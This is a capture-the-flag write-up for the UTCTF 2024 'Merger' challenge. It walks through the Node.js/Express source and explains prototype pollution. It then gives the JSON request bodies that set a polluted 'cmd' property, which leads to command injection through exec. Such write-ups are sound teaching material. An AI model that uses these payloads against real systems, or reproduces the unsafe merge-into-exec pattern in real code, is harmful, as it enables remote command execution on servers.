Merger: Node.js Prototype Pollution
Platform: UTCTF 2024
Category/Tags: Web, Prototype Pollution, Command Injection
Difficulty: N/A (I guess Medium)
Introduction
Tired of getting your corporate mergers blocked by the FTC? Good news! Just give us your corporate information and let our unpaid interns do the work!
Information Gathering
This is a simple web application that can create company details and merge original details into a new one.

I downloaded a zip file containing the source code, and I saw the package.json
file. It uses Express.js for the server-side, as expected. No vulnerabilities were found in these packages.
{
"dependencies": {
"cookie-parser": "^1.4.6",
"ejs": "^3.1.9",
"express": "^4.18.2",
"express-session": "^1.18.0"
}
}
This is the app.js
file responsible for running the web application, and it contains some API endpoints to process inputs from the user.
//app.js
var express = require('express');
const cp = require('child_process');
var app = express();
const cookieParser = require('cookie-parser');
const session = require('express-session');
app.use(cookieParser());
app.use(session({secret: "not actually the secret"}));
// var userArray = [];
var userCount = 1;
var userCompanies = [[]];
app.set('view engine', 'ejs');
app.use(express.json());
app.get('/', function (req, res) {
if (!req.session.init) {
req.session.init = true;
req.session.uid = userCount++;
userCompanies[req.session.uid] = [];
}
res.render("index", {userID:req.session.uid});
})
app.post('/api/makeCompany', function (req, res) {
if (!req.session.init) {
res.end("invalid session");
return;
}
let data = req.body;
if (data.attributes === undefined || data.values === undefined ||
!Array.isArray(data.attributes) || !Array.isArray(data.values)) {
res.end('attributes and values are incorrectly set');
return;
}
let cNum = userCompanies[req.session.uid].length;
let cObj = new Object();
for (let j = 0; j < Math.min(data.attributes.length, data.values.length); j++) {
if (data.attributes[j] != '' && data.attributes[j] != null) {
cObj[data.attributes[j]] = data.values[j];
}
}
cObj.cid = cNum;
userCompanies[req.session.uid][cNum] = cObj;
res.end(cNum + "");
})
app.post('/api/absorbCompany/:cid', function (req, res) {
if (!req.session.init) {
res.end("invalid session");
return;
}
try {
var cid = parseInt(req.params.cid);
} catch (e) {
res.end('bad argument');
return;
}
if (cid < 0 || cid >= userCompanies[req.session.uid].length) {
res.end('not a valid company');
return;
}
let data = req.body;
if (data.attributes === undefined || data.values === undefined ||
!Array.isArray(data.attributes) || !Array.isArray(data.values)) {
res.end('attributes and values are incorrectly set');
return;
}
let child = cp.fork("merger.js");
child.on('message', function (m) {
let cNum = userCompanies[req.session.uid].length;
let message = "";
if (m.merged != undefined) {
m.merged.cid = cNum;
userCompanies[req.session.uid][cNum] = m.merged;
}
if (m.err) {
message += m.err;
} else {
message += m.stdout;
message += m.stderr;
}
res.end(JSON.stringify(m));
child.kill();
})
let dataObj = new Object()
dataObj.data = data;
dataObj.orig = userCompanies[req.session.uid][cid]
child.send(dataObj);
})
app.get('/api/getAll', function (req, res) {
if (!req.session.init) {
res.end("invalid session");
}
let id = req.session.uid;
res.end(JSON.stringify(userCompanies[id]));
return;
})
var server = app.listen(8725, function () {
var host = server.address().address
var port = server.address().port
console.log("Example app listening at http://%s:%s", host, port)
})
/api/makeCompany
endpoint simply creates the key-value pair attributes and returns an id (cid
) for the company. /api/getAll
endpoint is the one being called after creating a company to display all companies that the user created. /api/absorbCompany/:cid
endpoint is for merging the two company details into one new object based on their cid
.


And I tried to view the response of /api/absorbCompany/:cid
in BurpSuite. It has a cmd
key that has the value of a shell file; this means that after merging company details, it will run the shell file. Moreover, I saw that when I run a command, I receive stdout
and stderr
results.

Under the /api/absorbCompany/:cid
, I saw that it forks the merger.js
script, creating and executing an independent process.
let child = cp.fork("merger.js");
This is the merger.js
file, responsible for merging the original company details to create a new object using a loop. Also, it has an exec
function that is used to run shell commands within the environment.
//merger.js
function isObject(obj) {
return typeof obj === 'function' || typeof obj === 'object';
}
var secret = {}
const {exec} = require('child_process');
process.on('message', function (m) {
let data = m.data;
let orig = m.orig;
for (let k = 0; k < Math.min(data.attributes.length, data.values.length); k++) {
if (!(orig[data.attributes[k]] === undefined) && isObject(orig[data.attributes[k]]) && isObject(data.values[k])) {
for (const key in data.values[k]) {
orig[data.attributes[k]][key] = data.values[k][key];
}
} else if (!(orig[data.attributes[k]] === undefined) && Array.isArray(orig[data.attributes[k]]) && Array.isArray(data.values[k])) {
orig[data.attributes[k]] = orig[data.attributes[k]].concat(data.values[k]);
} else {
orig[data.attributes[k]] = data.values[k];
}
}
cmd = "./merger.sh";
if (secret.cmd != null) {
cmd = secret.cmd;
}
var test = exec(cmd, (err, stdout, stderr) => {
retObj = {};
retObj['merged'] = orig;
retObj['err'] = err;
retObj['stdout'] = stdout;
retObj['stderr'] = stderr;
process.send(retObj);
});
console.log(test);
});
Vulnerability
Under merger.js
, this line of code is vulnerable to command injection because it can execute commands.
var test = exec(cmd, (err, stdout, stderr) => {
retObj = {};
retObj['merged'] = orig;
retObj['err'] = err;
retObj['stdout'] = stdout;
retObj['stderr'] = stderr;
process.send(retObj);
});
The problem here is I cannot change the value of cmd
to a different command.
//top part
var secret = {}
//bottom part
cmd = "./merger.sh";
if (secret.cmd != null) {
cmd = secret.cmd;
}
But if we look at the if statement, I can execute different commands other than ./merger.sh
. I should modify the secret
object and assign the command to its cmd
property. BUT HOW???
I remember when I was studying web development that almost everything in JavaScript is object. So, from this idea, I guess I can modify the secret
object.
Exploit
With the use of prototype pollution attack, I can now add a property and value to the object.
To give you a quick overview of what I know about prototypes in JavaScript, here it is. I created a Car
class that has the property of color, and I created an instance of Car
class and setting the color to "blue". As expected, the color of my_car
is blue.
//Car class
class Car {
constructor(color){
this.color = color;
}
}
//Creating an instance
let my_car = new Car("blue")
But what happens if I use __proto__
in my instance and set a new property?
//Car class
class Car {
constructor(color){
this.color = color;
}
}
//Creating an instance
let my_car = new Car("blue")
//Prototype poisoning
my_car.__proto__.isHacked = true
//Creating a second instance
let my_second_car = new Car("yellow")
//Logging output
console.log(my_second_car.color, my_second_car.isHacked)
//The output as expected is -> yellow true
By setting my_car.__proto__.isHacked = true
, you are adding a property isHacked
to the prototype object of the Car
class, and when I log the my_second_car.color
, my_second_car.isHacked
is yellow true. All instances of Car
class will now have isHacked
property.
Now, back to the problem, I can now modify the secret
object and add cmd
property and a value. First, we need to craft a body to create a new company. Set the attributes
value to object name and values
to __proto__
, send it to /api/makeCompany
.
{
"attributes": [
"secret"
],
"values": [
"__proto__"
]
}
This is ready to merge. In the /api/absorbCompany/:cid
, I need to send another body. Under merger.js
, I need the loop wherein it iterates and creates a new object. To pass the first condition;
orig[first key] is not undefined ->
__proto__
orig[first key] is object ->
__proto__
is an objectdata.values[0] is object ->
[{"cmd": "id"}]
and I need to send this as array of objects
for (let k = 0; k < Math.min(data.attributes.length, data.values.length); k++) {
if (!(orig[data.attributes[k]] === undefined) && isObject(orig[data.attributes[k]]) && isObject(data.values[k])) {
for (const key in data.values[k]) {
orig[data.attributes[k]][key] = data.values[k][key];
}
} else if (!(orig[data.attributes[k]] === undefined) && Array.isArray(orig[data.attributes[k]]) && Array.isArray(data.values[k])) {
orig[data.attributes[k]] = orig[data.attributes[k]].concat(data.values[k]);
} else {
orig[data.attributes[k]] = data.values[k];
}
}
So, the body will be,
{
"attributes": [
"__proto__",
"secret"
],
"values": [
{
"cmd": "id"
}
]
}
Now, I can inject commands!

Last updated